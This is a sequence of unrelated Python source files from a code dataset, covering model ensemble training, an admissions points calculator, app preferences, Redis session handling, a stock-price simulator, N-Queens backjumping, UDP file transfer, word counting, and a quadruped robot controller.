optimizer=optimizer,\n criteria=criteria,\n save_mode=False)\n \n trainer.show_model_config(trained_models['model_a'].__class__.__name__)\n \n # --------------------------------------------------------------------------------------------------------- #\n # load second model\n model_b = {'model_b': VGG_M2(no_class=trainer2.no_class)}\n network = trainer2.get_network('single', models=model_b, multiple_gpu=False)\n\n # train second model\n optimizer = optim.SGD(network.parameters(),\n lr=trainer2.lr,\n momentum=0.9,\n weight_decay=5e-4)\n criteria = nn.CrossEntropyLoss()\n trained_models['model_b'] = trainer2.fit_and_train(network=network,\n optimizer=optimizer,\n criteria=criteria,\n save_mode=False)\n \n trainer2.show_model_config(trained_models['model_b'].__class__.__name__)\n \n # --------------------------------------------------------------------------------------------------------- #\n # freeze the models\n for model in trained_models.values():\n for param in model.parameters():\n param.requires_grad_(False)\n\n # load ensemble model with trained models\n network = trainer.get_network('ensemble', models=trained_models, multiple_gpu=True)\n \n ensemble_addr = '_'.join([\n trained_models['model_a'].__class__.__name__,\n trained_models['model_b'].__class__.__name__,\n ''\n ])\n trainer.save_model_address += ensemble_addr\n\n # train ensemble model\n optimizer = optim.SGD(network.parameters(),\n lr=trainer.lr,\n momentum=0.9,\n weight_decay=5e-4)\n criteria = nn.CrossEntropyLoss()\n trained_models['ensemble_model'] = trainer.fit_and_train(network=network,\n optimizer=optimizer,\n criteria=criteria,\n save_mode=True)\n \n trainer.show_model_config(trained_models['ensemble_model'].__class__.__name__)","sub_path":"ensemble_train3.py","file_name":"ensemble_train3.py","file_ext":"py","file_size_in_byte":9224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"312523065","text":"\r\n\r\nApplicant_name = input('Name: ')\r\nGender = input ('Gender: ')\r\nif Gender != 'M' and Gender != 'Male' and Gender != 'F' and Gender != 'Female':\r\n print(\"\"\"\r\n Please select Gender. Insert as 'M' or 'Male' for Male,\r\n 'F' or 'Female' for female.\r\n \"\"\")\r\n Gender = input(\"Gender: \")\r\n\r\nCourse_name = input('Course: ')\r\nif Course_name != 'Engineering' and Course_name != 'Medicine' and Course_name != 'Law' and Course_name != 'Economics':\r\n print(\"\"\"\r\n Please enter Course. Insert as 'Engineering' or 'Medicine' for Sciences,\r\n 'Law' or 'Economics' for Arts.\r\n \"\"\")\r\n Course_name = input('Course: ')\r\n\r\nIntroduction = print(f'''\r\n\\n\r\nHi {Applicant_name}, thank you for deciding to apply for a(n) {Course_name} course, at Kyambogo University.\r\nPlease fill in the relevant information required below;''')\r\n\r\n\r\n\r\ngradedictionary = {\"A\" : \"6\" ,\r\n \"B\" : \"5\" ,\r\n \"C\" : \"4\",\r\n \"D\" : \"3\",\r\n \"E\" : \"2\",\r\n \"O\" : \"1\",\r\n \"F\" : \"0\",\r\n } \r\nmarks = input('Respective points for principles in uppercase: ').split()\r\nSubsidiary_subjects = input(\"Enter your subsidiary subject: \")\r\nsub_grade = input(\"Sub-aggregate: \")\r\nGEP = input(\"GEP marks: \")\r\n\r\nGEP = int(GEP)\r\nsub_grade = int(sub_grade)\r\n\r\nGEP_point = 0\r\nsub_grade = 0\r\nGender_point = 0\r\n\r\nif Gender == 'F' or Gender == 'Female':\r\n Gender_point = 1.5\r\nelse:\r\n pass\r\n\r\nif sub_grade > 0 and sub_grade <= 6:\r\n sub_point = 1\r\nelif sub_grade > 6:\r\n pass\r\n\r\nif GEP > 50 and GEP <= 100:\r\n GEP_point = 1\r\nelif GEP < 50:\r\n pass\r\n \r\nprinciples = input(\"Enter essential subject 1: \")\r\nprinciples = input(\"Enter essential subject 2: \")\r\nprinciples = input(\"Enter relevant subject: \")\r\n\r\ndef askforGrade():\r\n grade1 = str( input( \"Please enter essential grade 1: \" ) )\r\n grade2 = str( input( \"Please enter essential grade 2: \" ) )\r\n grade3 = str( input( \"Please enter relevant subject: \" ) )\r\n\r\n\r\n return grade1, grade2, grade3\r\n \r\ndef printTableOfResults( grade1, grade2, grade3 ):\r\n print( \"Score\\tnumber Grade\" )\r\n print( str( grade1 ) + \"\\t\" + gradedictionary[ grade1 ],\r\n str( grade2 ) + \"\\t\" + gradedictionary[ grade2 ], \r\n str( grade3 ) + \"\\t\" + gradedictionary[ grade3 ], sep= \"\\n\" ) \r\n \r\ndef main():\r\n score1, score2, score3 = askforGrade()\r\n printTableOfResults( score1, score2, score3 )\r\n\r\n\r\nmain()\r\n\r\ngrading = {\"A\":6, \"B\":5, \"C\":4, \"D\":3, \"E\":2, \"O\":1, \"F\":0}\r\noutput = ''\r\n\r\nfor ch in marks:\r\n output+=str(grading.get(ch))\r\n\r\na = output[0]\r\nb = output[1]\r\nc = output[2]\r\n\r\na = int(a)\r\nb = int(b)\r\nc = int(c)\r\n\r\n\r\ntotal_points = a + b + c + GEP_point + sub_grade + Gender_point\r\ntotal_points = float(total_points)\r\n\r\nfor_weights = [a, b, c]\r\nfor_weights.sort(reverse=True)\r\ntop_two_for_weights = (for_weights[0] + for_weights[1])*3\r\nlast_for_weights = (for_weights[2])*2 + GEP_point + sub_grade\r\n\r\ntotal_weights_main = top_two_for_weights + last_for_weights\r\ntotal_weights_main = float(total_weights_main)\r\n\r\nprint('\\n')\r\nprint('\\n')\r\nprint(f'''{Applicant_name}\r\nResults:\r\n''')\r\n\r\nprint(str(principles[0]) + ': '+ str(marks[0]))\r\nprint(str(principles[1]) + ': '+ str(marks[1]))\r\nprint(str(principles[2]) + ': '+ str(marks[2]))\r\nprint(Subsidiary_subjects +': '+ str(sub_grade))\r\nprint('GEP:' + str(GEP))\r\nprint('\\ntotal_points: ' + str(total_points))\r\nprint('weights: ' + str(total_weights_main))\r\n\r\n","sub_path":"Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481325254","text":"LOGGING_LEVEL = 'logging/level'\nLOGGING_BUFFER_SIZE = 'logging/buffer_size'\nMODAL_GROUP = 'modal'\nMODAL_BOX_RADIUS = f\"{MODAL_GROUP}/box_radius\"\nMODAL_LF_GAIN = f\"{MODAL_GROUP}/lf_gain\"\nMODAL_TRANS_FREQ = f\"{MODAL_GROUP}/trans_freq\"\nMODAL_Q0 = f\"{MODAL_GROUP}/q0\"\nMODAL_F0 = f\"{MODAL_GROUP}/f0\"\nMODAL_COEFFS = f\"{MODAL_GROUP}/coeffs\"\nMODAL_DRIVER_RADIUS = f\"{MODAL_GROUP}/driver_radius\"\nMODAL_MEASUREMENT_DISTANCE = f\"{MODAL_GROUP}/measurement_distance\"\nDISPLAY_DB_RANGE = 'display/db_range'\nDISPLAY_COLOUR_MAP = 'display/colour_map'\nDISPLAY_SHOW_POWER_RESPONSE = 'display/show_power'\nDISPLAY_POLAR_360 = 'display/polar_360'\n\nDEFAULT_PREFS = {\n MODAL_BOX_RADIUS: 1.0,\n MODAL_LF_GAIN: 0.0,\n MODAL_TRANS_FREQ: 200,\n MODAL_Q0: 0.700,\n MODAL_F0: 70,\n MODAL_COEFFS: 14,\n MODAL_DRIVER_RADIUS: 0.15,\n MODAL_MEASUREMENT_DISTANCE: 1.00,\n LOGGING_LEVEL: 'INFO',\n LOGGING_BUFFER_SIZE: 5000,\n DISPLAY_DB_RANGE: 60,\n DISPLAY_COLOUR_MAP: 'bgyw',\n DISPLAY_SHOW_POWER_RESPONSE: True,\n DISPLAY_POLAR_360: False\n}\n\nTYPES = {\n MODAL_BOX_RADIUS: float,\n MODAL_LF_GAIN: float,\n MODAL_TRANS_FREQ: int,\n MODAL_Q0: float,\n MODAL_F0: int,\n MODAL_COEFFS: int,\n MODAL_DRIVER_RADIUS: float,\n MODAL_MEASUREMENT_DISTANCE: float,\n DISPLAY_DB_RANGE: int,\n DISPLAY_SHOW_POWER_RESPONSE: bool,\n DISPLAY_POLAR_360: bool,\n LOGGING_BUFFER_SIZE: int\n}\n\n\nclass Preferences:\n def __init__(self, settings):\n self.__settings = settings\n\n def has(self, key):\n '''\n checks for existence of a value.\n :param key: the key.\n :return: True if we have a value.\n '''\n return self.get(key) is not None\n\n def get(self, key, default_if_unset=True):\n '''\n Gets the value, if any.\n :param key: the settings key.\n :param default_if_unset: if true, return a default value.\n :return: the value.\n '''\n default_value = DEFAULT_PREFS.get(key, None) if default_if_unset is True else None\n value_type = TYPES.get(key, None)\n if value_type is not None:\n return self.__settings.value(key, defaultValue=default_value, type=value_type)\n else:\n return self.__settings.value(key, defaultValue=default_value)\n\n def get_all(self, prefix):\n '''\n Get all values with the given prefix.\n :param prefix: the prefix.\n :return: the values, if any.\n '''\n self.__settings.beginGroup(prefix)\n try:\n return set(filter(None.__ne__, [self.__settings.value(x) for x in self.__settings.childKeys()]))\n finally:\n self.__settings.endGroup()\n\n def set(self, key, value):\n '''\n sets a new value.\n :param key: the key.\n :param value: the value.\n '''\n if value is None:\n self.__settings.remove(key)\n else:\n self.__settings.setValue(key, value)\n\n def clear_all(self, group):\n ''' clears all in the group '''\n self.__settings.beginGroup(group)\n try:\n for x in self.__settings.childKeys():\n self.__settings.remove(x)\n finally:\n self.__settings.endGroup()\n\n def clear(self, key):\n '''\n Removes the stored value.\n :param key: the key.\n '''\n self.set(key, None)\n","sub_path":"src/main/python/model/preferences.py","file_name":"preferences.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"308499627","text":"#!/usr/bin/env python\n#coding:utf8\n# Author : tuxpy\n# Email : q8886888@qq.com\n# Last modified : 2015-02-08 20:40:51\n# Filename : lib/session.py\n# Description : \nimport uuid\nimport hmac\nimport json\nimport hashlib\n\nclass SessionData(dict):\n def __init__(self, session_id, hmac_key):\n self.session_id = session_id\n self.hmac_key = hmac_key\n\nclass Session(SessionData):\n def __init__(self, session_manager, request_handler):\n self.session_manager = session_manager\n self.request_handler = request_handler\n\n try:\n current_session = session_manager.get(request_handler)\n except InvalidSessionException:\n # 如果session有问题，就新建一个session\n current_session = session_manager.get()\n\n for key, data in current_session.iteritems():\n self[key] = data\n\n self.session_id = current_session.session_id\n self.hmac_key = current_session.hmac_key\n\n def save(self):\n self.session_manager.set(self.request_handler, self)\n\n def logout(self):\n self.session_manager.delete(self.request_handler, self)\n\nclass SessionManager(object):\n def __init__(self, session_secret, session_timeout, store_db):\n self.session_secret = session_secret\n self.session_timeout = session_timeout\n self.redis = store_db\n\n def get(self, request_handler = None):\n session_id = (request_handler and request_handler.get_secure_cookie('session_id')) or self._generate_id()\n hmac_key = (request_handler and request_handler.get_secure_cookie('verification')) or self._generate_hmac(session_id)\n\n check_hmac = self._generate_hmac(session_id)\n if hmac_key != check_hmac:\n raise InvalidSessionException()\n\n session = SessionData(session_id, hmac_key)\n session_data = self._fetch(session_id)\n session.update(session_data)\n \n return session\n\n def _fetch(self, session_id):\n try:\n session_data = raw_data = self.redis.get(session_id)\n if raw_data != None:\n # 用于空闲超时的\n self.redis.setex(session_id, raw_data, self.session_timeout)\n session_data = json.loads(raw_data)\n\n return isinstance(session_data, dict) and session_data or {}\n\n except IOError:\n return {}\n\n def set(self, request_handler, session):\n request_handler.set_secure_cookie('session_id', session.session_id)\n request_handler.set_secure_cookie('verification', session.hmac_key)\n\n session_data = json.dumps(dict(session.items()))\n\n self.redis.setex(session.session_id, \n session_data, self.session_timeout)\n\n def delete(self, request_handler, session):\n request_handler.clear_cookie('session_id')\n request_handler.clear_cookie('verification')\n self.redis.delete(session.session_id)\n\n def _generate_id(self):\n new_id = hashlib.sha256(self.session_secret + str(uuid.uuid4()))\n return new_id.hexdigest()\n\n def _generate_hmac(self, session_id):\n return hmac.new(session_id, self.session_secret, hashlib.sha256).hexdigest()\n\nclass InvalidSessionException(Exception):\n pass\n \n","sub_path":"lib/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"366169625","text":"'''\nhttps://opensource.org/licenses/MIT\n\nLicense: The MIT License (MIT)\n\nCopyright (c) 2016 Ariel Kalingking akalingking@gmail.com\n\nPermission is hereby granted, free of charge, to any person \nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without restriction, \nincluding without limitation the rights to use, copy, modify, \nmerge, publish, distribute, sublicense, and/or sell copies of \nthe Software, and to permit persons to whom the Software is \nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be \nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, \nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND \nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT \nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, \nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n'''\nimport ConfigParser\nfrom applicationbase import ApplicationBase\nfrom websocket.wsserver import WsServer\nimport numpy as np\nimport datetime\nfrom threading import RLock, Condition\nimport os\n\nfrom frequency import Frequency\nfrom symbols import Symbols\nfrom tradeitem import TradeItem\nfrom generator.gbm import GBM\nimport logger\n\nclass Application(ApplicationBase):\n application_name = None\n \n def __init__(self, address=None, port=None, configFile=None, logFile=None):\n ApplicationBase.__init__(self)\n self.frequency_ = Frequency.Minute\n self.lock_ = RLock()\n self.cond_ = Condition(self.lock_)\n self.current_price_ = {}\n self.current_volume_ = {}\n self.run_ = False\n self.enable_ws_ = True\n self.wsserver_ = None\n self.isdaemon_ = False\n self.loglevel_ = logger.logging.DEBUG\n \n if (Application.application_name != None):\n self.pidfile_path = \"/tmp/\" + Application.application_name+\".pid\"\n# self.pidfile_path = \"/var/run/\" + Application.application_name+\".pid\"\n \n if (logFile is None):\n self.logfile_ = \"/tmp/\" + Application.application_name+\".log\"\n# self.logfile_ = \"/var/log/\" + Application.application_name+\".log\"\n else:\n self.logfile_ = logFile\n \n if (address == None):\n self.address_ = '127.0.0.1'\n else:\n self.address_ = address \n if (port == None):\n self.port_ = 9000\n else:\n self.port_ = port\n \n if (address is None and port is None):\n if (configFile is None):\n if (Application.application_name is not None):\n self.configfile_ = Application.application_name + \".cfg\"\n else:\n self.configfile_ = \"application.cfg\"\n else:\n self.configfile_ = configFile\n else:\n self.configfile_ = None\n \n def read_config(self, configFile):\n# print(\"Application.read_config_ file='%s'\" % configFile)\n try:\n self.config_ = ConfigParser.SafeConfigParser()\n abs_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), './', self.configfile_)\n self.config_.read(abs_path)\n self.address_ = self.config_.get(\"root\", \"address\")\n self.port_ = self.config_.getint(\"root\", \"port\")\n self.enable_ws_ = self.config_.getboolean(\"root\", \"enablews\")\n except ConfigParser.Error as e:\n print(\"Application.read_config_ exception='%s'\" % str(e))\n \n def start(self):\n if (self.configfile_ is not None):\n self.read_config(self.configfile_)\n \n logManager = logger.LogManager(self.logfile_,self.loglevel_)\n self.logger_ = logManager.getLogger(Application.application_name)\n \n if (self.enable_ws_):\n self.wsserver_ = WsServer(self.address_, self.port_)\n self.wsserver_.start()\n \n ret = True\n if (self.isdaemon_ is False):\n ret = ApplicationBase.start(self)\n \n return ret\n \n def stop(self):\n if (self.enable_ws_ and self.wsserver_ is not None):\n self.wsserver_.stop()\n \n ret = ApplicationBase.stop(self)\n \n self.cond_.acquire()\n self.cond_.notify_all()\n self.cond_.release()\n \n return ret\n \n def do_work_(self):\n self.log().debug(\"Application::do_work_ start\")\n \n while (self.is_run_):\n keys = Symbols.symbols.keys()\n for key in keys:\n# self.log().info(\"Application::do_work_ processing '%s'\", key)\n item = TradeItem()\n \n tradeStat = Symbols.trades[key]\n \n # generate the trade data OHLC\n trades = np.zeros(4)\n for i in np.arange(0, 4):\n # use daily volaitlity not the intraday\n gen = GBM(1, Frequency.Day)\n \n current_price = 0.0\n if (self.current_price_.has_key(key)):\n current_price = self.current_price_[key]\n else:\n current_price = Symbols.trades[key].start_value\n \n trades[i] = gen.get_next_value(\n tradeStat.mean, \n tradeStat.std,\n current_price)\n \n item.Symbol = key\n item.Low = min(trades)\n item.High = max(trades)\n item.Open = trades[0]\n item.Close = trades[3]\n \n self.current_price_[key]=item.Close\n \n volume_stat = Symbols.volumes[key]\n gen = GBM(1, Frequency.Day)\n current_volume = None\n if (self.current_volume_.has_key(key)):\n current_volume = self.current_volume_[key]\n else:\n current_volume = volume_stat.start_value\n \n # generate volume\n item.Volume = gen.get_next_value(\n volume_stat.mean, \n volume_stat.std,\n current_volume)\n \n # generate data\n item.Date = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M.%S\")\n \n self.current_volume_[key] = item.Volume\n \n self.log().info(\"%s\", item.__str__())\n \n if (self.enable_ws_):\n self.wsserver_.send(item.__str__())\n \n self.cond_.acquire()\n self.cond_.wait(timeout=self.frequency_)\n self.cond_.release()\n \n self.log().debug(\"Application::do_work_ stop\")\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":7219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"243604675","text":"\nclass Adder(object):\n \"\"\"docstring forAdder.\"\"\"\n# def __init__(self, num,lis,div):\n# self.u=num\n# self.n=div\n# self.d = lis\n def convert(self,u,n,d):\n while u>0:\n d.append(u%n)\n u=u/n\n if n == 16:\n for a,b in enumerate(d):\n if b>9 and b<16:\n d[a]=str(unichr(b+55))\n return ''.join(map(str, d[::-1]))\n\nele=input(\"entr input value\")\n\nfor i in range(1,ele):\n a=Adder()\n\n print(\"%4s %4s %4s %4s\" %(a.convert(i,2,d=[]), a.convert(i,8,d=[]), a.convert(i,10,d=[]), a.convert(i,16,d=[])) )\n","sub_path":"num-con.py","file_name":"num-con.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"289547991","text":"import sys\nimport numpy as np\nfrom collections import Counter\nimport time\nfrom IPython import display\n\n# override default recursion limit\nsys.setrecursionlimit(1000000000)\n\n\nclass NQueens:\n\n def __init__(self, size_of_board):\n self.size = size_of_board\n self.columns = [] * self.size\n self.num_of_places = 0\n self.num_of_backtracks = 0\n self.conflict_set = {}\n for i in range(self.size):\n self.conflict_set[i] = []\n\n\n def place(self, startRow=0):\n \"\"\" Backtracking algorithm to recursively place queens on the board\n args:\n startRow: the row which it attempts to begin placing the queen\n returns:\n list representing a solution\n \"\"\"\n # if every column has a queen, we have a solution\n\n if len(self.columns) == self.size:\n print('Solution found! The board size was: ' + str(self.size))\n print(str(self.num_of_places) + ' total places were made.')\n print(str(self.num_of_backtracks) + ' total backtracks were executed.')\n print(self.columns)\n return self.columns\n\n # otherwise search for a safe queen location\n else:\n for row in range(startRow, self.size):\n # if a safe location in this column exist\n\n\n if self.isSafe(len(self.columns), row) is True:\n # place a queen at the location\n self.columns.insert(len(self.columns),row)\n self.num_of_places += 1\n # recursively call place() on the next column\n return self.place()\n\n # if not possible, reset to last state and try to place queen\n else:\n # grab the last row to backtrack from\n\n lastRow = self.conflict_set[len(self.columns)]\n self.num_of_backtracks += 1\n temp = Counter(lastRow)\n lastRow = max(temp,key=temp.get)\n # initialize the variable to intialize valued\n self.conflict_set[len(self.columns)] = []\n pervious_variable = self.columns.pop(lastRow)\n # recursively call place() from the last known good position, incrementing to the next row\n return self.place(startRow = pervious_variable)\n\n def isSafe(self, col, row):\n \"\"\"Determines if a move is safe.\n args:\n col: column of desired placement\n row: row of desired placement\n self.columns: list of queens presently on the board\n returns:\n True if safe, False otherwise\n \"\"\"\n # check for threats from each queen currently on boar\n for threatRow in self.columns:\n # for readability\n threatCol = self.columns.index(threatRow)\n # check for horizontal/vertical threats\n if row == threatRow or col == self.columns.index(threatRow):\n self.conflict_set [col].append(threatCol)\n return False\n # check for diagonal threats\n elif threatRow + threatCol == row + col or threatRow - threatCol == row - col:\n self.conflict_set[col].append(threatCol)\n return False\n # if we got here, no threats are present and it's safe to place the queen at the (col, row)\n return True\n\n# set the size of the board\nsize = input(\"Enter the size of the board:\")\nn = int(size)\n# instantiate the board and call the backtracking algorithm\nstart = time.time()\nqueens = NQueens(n)\nqueens.place(0)\nstop = time.time()\nseconds = stop - start\nprint(\"Time required for Execution\",seconds*1000)\n# convert board to numpy array for pretty printing\nboard = np.array([[' '] * n] * n)\nfor queen in queens.columns:\n board[queens.columns.index(queen), queen] = 'Q'\n\nprint(board.T)\n\n","sub_path":"ConflictBackJumping.py","file_name":"ConflictBackJumping.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"622718244","text":"from socket import *\nimport os\n\nudpSocket = socket(AF_INET, SOCK_DGRAM)\nudpSocket.bind((\"\", 9000))\n\ndef send_info(client, file_name):\n f = open(file_name, \"rb\")\n data = f.read()\n f.close()\n udpSocket.sendto(data, client)\n\ndef send_info_plus(client, file_name):\n f = open(file_name, \"rb\")\n data = f.read()\n f.close()\n\n #-------------------------#\n #测试代码\n a = b''\n b = data\n #-------------------------#\n\n while len(data) > 1000:\n temp_data = data[:1000]\n data = data[1000:]\n temp_data = \"$parFile$\".encode() + temp_data\n #---------------------------#\n #测试代码\n a = a + temp_data[9:]\n #---------------------------#\n udpSocket.sendto(temp_data, client) # 发送部分数据\n # 接收客户端的信号\n udpSocket.recvfrom(1024)\n\n data = \"$endFile$\".encode() + data\n #-----------------------------#\n a = a + data[9:]\n print(a == b)\n #-----------------------------#\n udpSocket.sendto(data, client)\n udpSocket.recvfrom(1024)\n\nif __name__ == '__main__':\n while True:\n recvData = udpSocket.recvfrom(1024)\n # 更新当前文件夹下的文件\n file_list = os.listdir(os.path.dirname(__file__))\n # 获取发送者的ip和端口\n adress = recvData[1]\n\n # 判断文件是否存在\n if recvData[0].decode(\"utf-8\") in file_list:\n send_info_plus(adress, recvData[0].decode(\"utf-8\"))\n else:\n # 文件不存在\n udpSocket.sendto(\"%notFile%\".encode(), adress)\n","sub_path":"CODE/socket_test/other_py/udp发送文件.py","file_name":"udp发送文件.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"263402556","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 24 15:26:21 2019\n\n@author: AnitaWang\n\"\"\"\nimport pandas as pd\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom collections import Counter \n\n# Stop Words List\nstop_words = stopwords.words(\"english\")\nstop_words.extend([\"company\",\"million\",\"billion\",\"health\",\"healthcare\",\"care\",\"dr\",\"md\",\"co\",\"ltd\",\n \"including\",\"also\",\"ms\",\"total\",\"street\",\"center\"])\n\n# Profile to get the most N frequent word\ndef mostfreqwords(input,top):\n # Convert text to lowercase\n input_str = input.lower()\n # Remove numbers\n input_str = re.sub(r'\\d+', '', input_str)\n # Remove punctuation\n input_str = re.sub(r'[^\\w\\s]','',input_str)\n # Remove new line char\n input_str = input_str.replace('\\n','')\n # Remove Stop Words\n tokens = word_tokenize(input_str)\n result = [i for i in tokens if not i in stop_words]\n # Count Words Frequency\n counter = Counter(result) \n # Select Top N\n most_occur = counter.most_common(top) \n \n return most_occur\n\n\n\n#mostfreqwords(speaker['SpeakerBio'][254],5)\n\n\ndef getFreqWords():\n Freq = pd.DataFrame()\n for i in range (0,len(speaker['SpeakerBio'])):\n print(\"Counting \"+str(speaker['SpeakerName'][i])+\"'s Bio\")\n most_occur = mostfreqwords(speaker['SpeakerBio'][i],5)\n wordcount = pd.DataFrame(most_occur, columns=['word', 'freq'])\n wordcount['SpeakerName'] = speaker['SpeakerName'][i]\n \n Freq = Freq.append(wordcount)\n \n if i == (len(speaker['SpeakerBio'])-1):\n print(\"Done\")\n \n return Freq\n\n\n\nfreq = getFreqWords()\n\n# change from long to wide\nfreq['idx'] = freq.groupby('SpeakerName').cumcount()\n\n\nfreq['top_idx'] = 'top_' + freq.idx.astype(str)\nfreq['count_idx'] = 'count_' + freq.idx.astype(str)\n\ntop = freq.pivot(index='SpeakerName',columns='top_idx',values='word')\ncount = freq.pivot(index='SpeakerName',columns='count_idx',values='freq')\n\nreshape = pd.concat([top,count],axis=1)\nmydf = pd.merge(speaker, reshape, how='left',on='SpeakerName')\n\nmydf.to_excel(\"SpeakerBio_20190724.xlsx\",index=False)","sub_path":"HLTH Speaker Webscripting/SpeakerBio_wordscount.py","file_name":"SpeakerBio_wordscount.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206659966","text":"\"\"\"Example of whole body controller on A1 robot.\"\"\"\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\n\nimport copy\nimport numpy as np\nimport os\nfrom datetime import datetime\nimport time\nimport pickle\nimport pybullet # pytype:disable=import-error\nimport pybullet_data\nfrom pybullet_utils import bullet_client\n\nfrom mpc_controller import com_velocity_estimator\nfrom mpc_controller import gait_generator as gait_generator_lib\nfrom mpc_controller import locomotion_controller\nfrom mpc_controller import openloop_gait_generator\nfrom mpc_controller import raibert_swing_leg_controller\nfrom mpc_controller import torque_stance_leg_controller\n\n# from motion_imitation.envs import env_builder\nfrom motion_imitation.robots import a1_robot\nfrom motion_imitation.robots import robot_config\n\nflags.DEFINE_integer(\"max_time_secs\", 1, \"max time to run the controller.\")\nflags.DEFINE_string(\"logdir\", None, \"where to log trajectories.\")\nFLAGS = flags.FLAGS\n\n_NUM_SIMULATION_ITERATION_STEPS = 300\n_STANCE_DURATION_SECONDS = [\n 0.5\n] * 4 # For faster trotting (v > 1.5 ms reduce this to 0.13s).\n_DUTY_FACTOR = [.75] * 4\n_INIT_PHASE_FULL_CYCLE = [0., 0.25, 0.5, 0.]\n\n_INIT_LEG_STATE = (\n gait_generator_lib.LegState.STANCE,\n gait_generator_lib.LegState.STANCE,\n gait_generator_lib.LegState.STANCE,\n gait_generator_lib.LegState.SWING,\n)\n\n\ndef _setup_controller(robot):\n \"\"\"Demonstrates how to create a locomotion controller.\"\"\"\n desired_speed = (0, 0)\n desired_twisting_speed = 0\n\n gait_generator = openloop_gait_generator.OpenloopGaitGenerator(\n robot,\n stance_duration=_STANCE_DURATION_SECONDS,\n duty_factor=_DUTY_FACTOR,\n initial_leg_phase=_INIT_PHASE_FULL_CYCLE,\n initial_leg_state=_INIT_LEG_STATE)\n\n state_estimator = com_velocity_estimator.COMVelocityEstimator(robot,\n window_size=1)\n sw_controller = raibert_swing_leg_controller.RaibertSwingLegController(\n robot,\n gait_generator,\n state_estimator,\n desired_speed=desired_speed,\n desired_twisting_speed=desired_twisting_speed,\n desired_height=robot.MPC_BODY_HEIGHT,\n foot_clearance=0.01)\n\n st_controller = torque_stance_leg_controller.TorqueStanceLegController(\n robot,\n gait_generator,\n state_estimator,\n desired_speed=desired_speed,\n desired_twisting_speed=desired_twisting_speed,\n desired_body_height=robot.MPC_BODY_HEIGHT,\n body_mass=robot.MPC_BODY_MASS,\n body_inertia=robot.MPC_BODY_INERTIA)\n\n controller = locomotion_controller.LocomotionController(\n robot=robot,\n gait_generator=gait_generator,\n state_estimator=state_estimator,\n swing_leg_controller=sw_controller,\n stance_leg_controller=st_controller,\n clock=robot.GetTimeSinceReset)\n return controller\n\n\ndef _update_controller_params(controller, lin_speed, ang_speed):\n controller.swing_leg_controller.desired_speed = lin_speed\n controller.swing_leg_controller.desired_twisting_speed = ang_speed\n controller.stance_leg_controller.desired_speed = lin_speed\n controller.stance_leg_controller.desired_twisting_speed = ang_speed\n\n\ndef _run_example():\n \"\"\"Runs the locomotion controller example.\"\"\"\n p = bullet_client.BulletClient(connection_mode=pybullet.DIRECT)\n p.setAdditionalSearchPath(pybullet_data.getDataPath())\n robot = a1_robot.A1Robot(\n pybullet_client=p,\n motor_control_mode=robot_config.MotorControlMode.HYBRID,\n enable_action_interpolation=False,\n time_step=0.002,\n action_repeat=1)\n controller = _setup_controller(robot)\n controller.reset()\n\n actions = []\n raw_states = []\n timestamps, com_vels, imu_rates = [], [], []\n start_time = robot.GetTimeSinceReset()\n current_time = start_time\n\n while current_time - start_time < FLAGS.max_time_secs:\n # Updates the controller behavior parameters.\n lin_speed, ang_speed = (0., 0., 0.), 0.\n _update_controller_params(controller, lin_speed, ang_speed)\n\n # Needed before every call to get_action().\n controller.update()\n hybrid_action = controller.get_action()\n raw_states.append(copy.deepcopy(robot._raw_state)) # pylint:disable=protected-access\n com_vels.append(robot.GetBaseVelocity().copy())\n imu_rates.append(robot.GetBaseRollPitchYawRate().copy())\n actions.append(hybrid_action)\n robot.Step(hybrid_action)\n current_time = robot.GetTimeSinceReset()\n timestamps.append(current_time)\n time.sleep(0.003)\n\n robot.Reset()\n robot.Terminate()\n if FLAGS.logdir:\n logdir = os.path.join(FLAGS.logdir,\n datetime.now().strftime('%Y_%m_%d_%H_%M_%S'))\n os.makedirs(logdir)\n np.savez(os.path.join(logdir, 'action.npz'),\n action=actions,\n com_vels=com_vels,\n imu_rates=imu_rates,\n timestamps=timestamps)\n pickle.dump(raw_states, open(os.path.join(logdir, 'raw_states.pkl'), 'wb'))\n logging.info(\"logged to: {}\".format(logdir))\n\n\ndef main(argv):\n del argv\n _run_example()\n\n\nif __name__ == \"__main__\":\n 